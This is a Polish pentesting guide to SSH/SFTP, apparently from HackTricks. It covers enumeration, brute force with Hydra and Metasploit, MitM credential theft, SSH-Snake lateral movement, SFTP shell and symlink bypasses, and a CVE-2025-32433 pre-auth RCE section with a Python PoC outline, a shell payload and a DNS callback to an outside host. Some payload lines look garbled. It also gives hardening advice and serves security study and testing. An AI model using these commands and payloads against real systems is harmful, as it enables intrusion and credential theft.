22 - Pentesting SSH/SFTP

Reading time: 15 minutes

Podstawowe informacje

SSH (Secure Shell lub Secure Socket Shell) to protokół sieciowy, który umożliwia bezpieczne połączenie z komputerem przez niezabezpieczoną sieć. Jest niezbędny do utrzymania poufności i integralności danych podczas uzyskiwania dostępu do zdalnych systemów.

Domyślny port: 22

22/tcp open  ssh     syn-ack

Serwery SSH:

• openSSH – OpenBSD SSH, dostarczany w systemach BSD, dystrybucjach Linux i Windows od Windows 10
• Dropbear – implementacja SSH dla środowisk z ograniczonymi zasobami pamięci i procesora, dostarczana w OpenWrt
• PuTTY – implementacja SSH dla Windows, klient jest powszechnie używany, ale użycie serwera jest rzadsze
• CopSSH – implementacja OpenSSH dla Windows

Biblioteki SSH (implementujące stronę serwera):

• libssh – wieloplatformowa biblioteka C implementująca protokół SSHv2 z powiązaniami w Python, Perl i R; jest używana przez KDE do sftp i przez GitHub do infrastruktury git SSH
• wolfSSH – biblioteka serwera SSHv2 napisana w ANSI C, skierowana do środowisk wbudowanych, RTOS i z ograniczonymi zasobami
• Apache MINA SSHD – biblioteka Apache SSHD w języku Java oparta na Apache MINA
• paramiko – biblioteka protokołu SSHv2 w Pythonie

Enumeracja

Zbieranie banerów

nc -vn <IP> 22

Automatyczny audyt ssh

ssh-audit to narzędzie do audytowania konfiguracji serwera i klienta ssh.

https://github.com/jtesta/ssh-audit to zaktualizowany fork z https://github.com/arthepsy/ssh-audit/

Funkcje:

• Obsługa protokołu SSH1 i SSH2;
• analiza konfiguracji klienta SSH;
• pobieranie banera, rozpoznawanie urządzenia lub oprogramowania oraz systemu operacyjnego, wykrywanie kompresji;
• zbieranie algorytmów wymiany kluczy, kluczy hosta, szyfrowania i kodów uwierzytelniających wiadomości;
• wyjście informacji o algorytmach (dostępne od, usunięte/wyłączone, niebezpieczne/słabe/legacy itp.);
• wyjście rekomendacji dotyczących algorytmów (dodaj lub usuń na podstawie rozpoznanej wersji oprogramowania);
• wyjście informacji o bezpieczeństwie (powiązane problemy, przypisane listy CVE itp.);
• analiza zgodności wersji SSH na podstawie informacji o algorytmach;
• informacje historyczne z OpenSSH, Dropbear SSH i libssh;
• działa na systemach Linux i Windows;
• brak zależności

usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

Zobacz to w akcji (Asciinema)

Publiczny klucz SSH serwera

ssh-keyscan -t rsa <IP> -p <PORT>

Słabe algorytmy szyfrowania

To jest domyślnie wykrywane przez nmap. Możesz również użyć sslcan lub sslyze.

Skrypty Nmap

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

• ssh

Bruteforce'owanie nazw użytkowników, haseł i kluczy prywatnych

Enumeracja nazw użytkowników

W niektórych wersjach OpenSSH możesz przeprowadzić atak czasowy, aby enumerować użytkowników. Możesz użyć modułu metasploit, aby to wykorzystać:

msf> use scanner/ssh/ssh_enumusers

Brute force

Niektóre powszechne dane logowania ssh tutaj i tutaj oraz poniżej.

Atak Brute Force na Klucz Prywatny

Jeśli znasz jakieś klucze prywatne ssh, które mogą być użyte... spróbujmy. Możesz użyć skryptu nmap:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

Lub moduł pomocniczy MSF:

msf> use scanner/ssh/ssh_identify_pubkeys

Or use ssh-keybrute.py (native python3, lightweight and has legacy algorithms enabled): snowdroppe/ssh-keybrute.

Znane złe klucze można znaleźć tutaj:

ssh-badkeys/authorized at master \xc2\xb7 rapid7/ssh-badkeys \xc2\xb7 GitHub

Słabe klucze SSH / Przewidywalny PRNG w Debianie

Niektóre systemy mają znane wady w losowym ziarnie używanym do generowania materiału kryptograficznego. Może to prowadzić do dramatycznie zmniejszonej przestrzeni kluczy, która może być złamana metodą brute force. Wstępnie wygenerowane zestawy kluczy wygenerowane na systemach Debian dotkniętych słabym PRNG są dostępne tutaj: g0tmi1k/debian-ssh.

Powinieneś poszukać tutaj, aby znaleźć ważne klucze dla maszyny ofiary.

Kerberos

crackmapexec używając protokołu ssh może używać opcji --kerberos, aby uwierzytelnić się za pomocą Kerberos.
Aby uzyskać więcej informacji, uruchom crackmapexec ssh --help.

Domyślne dane logowania

SSH-MitM

Jeśli jesteś w lokalnej sieci jako ofiara, która zamierza połączyć się z serwerem SSH używając nazwy użytkownika i hasła, możesz spróbować przeprowadzić atak MitM, aby ukraść te dane logowania:

Ścieżka ataku:

• Przekierowanie ruchu: Napastnik przekierowuje ruch ofiary na swoją maszynę, skutecznie przechwytując próbę połączenia z serwerem SSH.
• Przechwytywanie i rejestrowanie: Maszyna napastnika działa jako proxy, przechwytując dane logowania użytkownika, udając, że jest legalnym serwerem SSH.
• Wykonywanie poleceń i przekazywanie: Na koniec serwer napastnika rejestruje dane logowania użytkownika, przekazuje polecenia do prawdziwego serwera SSH, wykonuje je i wysyła wyniki z powrotem do użytkownika, sprawiając, że proces wydaje się płynny i legalny.

SSH MITM robi dokładnie to, co opisano powyżej.

Aby przechwycić i przeprowadzić rzeczywisty MitM, możesz użyć technik takich jak ARP spoofing, DNS spoofing lub innych opisanych w Atakach na spoofing w sieci.

SSH-Snake

Jeśli chcesz przemieszczać się w sieci, wykorzystując odkryte klucze prywatne SSH na systemach, używając każdego klucza prywatnego na każdym systemie dla nowych hostów, to SSH-Snake jest tym, czego potrzebujesz.

SSH-Snake automatycznie i rekurencyjnie wykonuje następujące zadania:

1. Na bieżącym systemie znajdź wszelkie klucze prywatne SSH,
2. Na bieżącym systemie znajdź wszelkie hosty lub cele (user@host), które mogą akceptować klucze prywatne,
3. Spróbuj połączyć się SSH ze wszystkimi celami, używając wszystkich odkrytych kluczy prywatnych,
4. Jeśli uda się połączyć z celem, powtórz kroki #1 - #4 na połączonym systemie.

Jest całkowicie samoreplikujący się i samopropagujący -- i całkowicie bezplikowy.

Błędy w konfiguracji

Logowanie jako root

Jest powszechne, że serwery SSH domyślnie pozwalają na logowanie użytkownika root, co stanowi znaczące ryzyko bezpieczeństwa. Wyłączenie logowania jako root jest kluczowym krokiem w zabezpieczaniu serwera. Nieautoryzowany dostęp z uprawnieniami administracyjnymi i ataki brute force można złagodzić, wprowadzając tę zmianę.

Aby wyłączyć logowanie jako root w OpenSSH:

1. Edytuj plik konfiguracyjny SSH za pomocą: sudoedit /etc/ssh/sshd_config
2. Zmień ustawienie z #PermitRootLogin yes na PermitRootLogin no.
3. Przeładuj konfigurację używając: sudo systemctl daemon-reload
4. Uruchom ponownie serwer SSH, aby zastosować zmiany: sudo systemctl restart sshd

SFTP Brute Force

• SFTP Brute Force

Wykonywanie poleceń SFTP

W przypadku konfiguracji SFTP występuje powszechne niedopatrzenie, gdzie administratorzy zamierzają, aby użytkownicy wymieniali pliki bez włączania dostępu do powłoki zdalnej. Pomimo ustawienia użytkowników z powłokami nieinteraktywnymi (np. /usr/bin/nologin) i ograniczenia ich do określonego katalogu, pozostaje luka w zabezpieczeniach. Użytkownicy mogą obejść te ograniczenia, żądając wykonania polecenia (takiego jak /bin/bash) natychmiast po zalogowaniu, zanim ich przypisana powłoka nieinteraktywna przejmie kontrolę. To pozwala na nieautoryzowane wykonywanie poleceń, podważając zamierzone środki bezpieczeństwa.

Przykład stąd:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Oto przykład bezpiecznej konfiguracji SFTP (/etc/ssh/sshd_config – openSSH) dla użytkownika noraj:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Ta konfiguracja pozwoli tylko na SFTP: wyłączając dostęp do powłoki poprzez wymuszenie polecenia start i wyłączając dostęp TTY, ale także wyłączając wszelkiego rodzaju przekazywanie portów lub tunelowanie.

SFTP Tunneling

Jeśli masz dostęp do serwera SFTP, możesz również tunelować swój ruch przez to, na przykład używając powszechnego przekazywania portów:

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

SFTP Symlink

The sftp have the command "symlink". Therefor, if you have writable rights in some folder, you can create symlinks of other folders/files. As you are probably trapped inside a chroot this won't be specially useful for you, but, if you can access the created symlink from a no-chroot service (for example, if you can access the symlink from the web), you could open the symlinked files through the web.

Na przykład, aby utworzyć symlink z nowego pliku "froot" do "/":

sftp> symlink / froot

Jeśli możesz uzyskać dostęp do pliku "froot" przez sieć, będziesz mógł wylistować folder główny ("/") systemu.

Metody uwierzytelniania

W środowisku o wysokim poziomie bezpieczeństwa powszechną praktyką jest włączanie tylko uwierzytelniania opartego na kluczach lub uwierzytelniania dwuskładnikowego, zamiast prostego uwierzytelniania opartego na haśle. Jednak często silniejsze metody uwierzytelniania są włączane bez wyłączania słabszych. Częstym przypadkiem jest włączenie publickey w konfiguracji openSSH i ustawienie go jako domyślnej metody, ale nie wyłączenie password. Używając trybu szczegółowego klienta SSH, atakujący może zobaczyć, że słabsza metoda jest włączona:

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Na przykład, jeśli ustawiony jest limit niepowodzeń uwierzytelniania i nigdy nie masz szansy na dotarcie do metody hasła, możesz użyć opcji PreferredAuthentications, aby wymusić użycie tej metody.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Przegląd konfiguracji serwera SSH jest konieczny, aby sprawdzić, czy tylko oczekiwane metody są autoryzowane. Użycie trybu szczegółowego na kliencie może pomóc w ocenie skuteczności konfiguracji.

Config files

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

• https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
• https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2

Ominięcie maszyny stanów uwierzytelniania (Pre-Auth RCE)

Kilka implementacji serwera SSH zawiera błędy logiczne w maszynie stanów uwierzytelniania, które pozwalają klientowi wysyłać wiadomości protokołu połączenia przed zakończeniem uwierzytelniania. Ponieważ serwer nie weryfikuje, że znajduje się w odpowiednim stanie, te wiadomości są obsługiwane tak, jakby użytkownik był w pełni uwierzytelniony, co prowadzi do nieautoryzowanego wykonania kodu lub utworzenia sesji.

Na poziomie protokołu każda wiadomość SSH z kodem wiadomości ≥ 80 (0x50) należy do warstwy połączenia (RFC 4254) i musi być akceptowana tylko po pomyślnym uwierzytelnieniu (RFC 4252). Jeśli serwer przetwarza jedną z tych wiadomości, będąc w stanie SSH_AUTHENTICATION, atakujący może natychmiast utworzyć kanał i żądać działań, takich jak wykonanie polecenia, przekierowanie portów itp.

Ogólne kroki eksploatacji

1. Nawiąż połączenie TCP z portem SSH celu (zwykle 22, ale inne usługi mogą udostępniać Erlang/OTP na 2022, 830, 2222…).
2. Przygotuj surowy pakiet SSH:

• 4-bajtowa długość_pakietu (big-endian)
• 1-bajtowy kod_wiadomości ≥ 80 (np. SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
• Ładunek, który będzie zrozumiały dla wybranego typu wiadomości

3. Wyślij pakiet(y) przed zakończeniem jakiegokolwiek kroku uwierzytelniania.
4. Interakcja z API serwera, które są teraz dostępne przed uwierzytelnieniem (wykonanie polecenia, przekierowanie portów, dostęp do systemu plików, …).

Zarys dowodu koncepcji w Pythonie:

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

W praktyce będziesz musiał (lub mógł pominąć) wymianę kluczy zgodnie z implementacją celu, ale żadne uwierzytelnienie nie jest nigdy przeprowadzane.

Erlang/OTP sshd (CVE-2025-32433)

• Wersje dotknięte: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
• Przyczyna: natywny demon SSH Erlanga nie weryfikuje bieżącego stanu przed wywołaniem ssh_connection:handle_msg/2. Dlatego każdy pakiet z kodem wiadomości 80-255 dociera do obsługi połączenia, gdy sesja jest nadal w stanie userauth.
• Wpływ: nieautoryzowane wykonywanie kodu zdalnego (demon zazwyczaj działa jako root na urządzeniach wbudowanych/OT).

Przykładowy ładunek, który uruchamia powrotną powłokę powiązaną z kanałem kontrolowanym przez atakującego:

% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Blind RCE / wykrywanie out-of-band można przeprowadzić za pomocą DNS:

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Wykrywanie i łagodzenie:

• Inspekcja ruchu SSH: odrzucaj wszelkie pakiety z kodem wiadomości ≥ 80 zaobserwowanym przed uwierzytelnieniem.
• Uaktualnij Erlang/OTP do 27.3.3 / 26.2.5.11 / 25.3.2.20 lub nowszej wersji.
• Ogranicz ekspozycję portów zarządzania (22/2022/830/2222) – szczególnie na sprzęcie OT.

Inne dotknięte implementacje

• libssh 0.6 – 0.8 (strona serwera) – CVE-2018-10933 – akceptuje nieautoryzowane SSH_MSG_USERAUTH_SUCCESS wysłane przez klienta, co skutkuje odwrotną wadą logiczną.

Wspólną lekcją jest to, że jakiekolwiek odchylenie od stanów przejściowych wymaganych przez RFC może być fatalne; podczas przeglądania lub fuzzowania demonów SSH zwróć szczególną uwagę na egzekwowanie maszyny stanowej.

Odniesienia

• Unit 42 – Erlang/OTP SSH CVE-2025-32433
• Przewodniki po twardnieniu SSH
• Przewodnik po hackowaniu SSH Turgensec

Automatyczne polecenia HackTricks

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'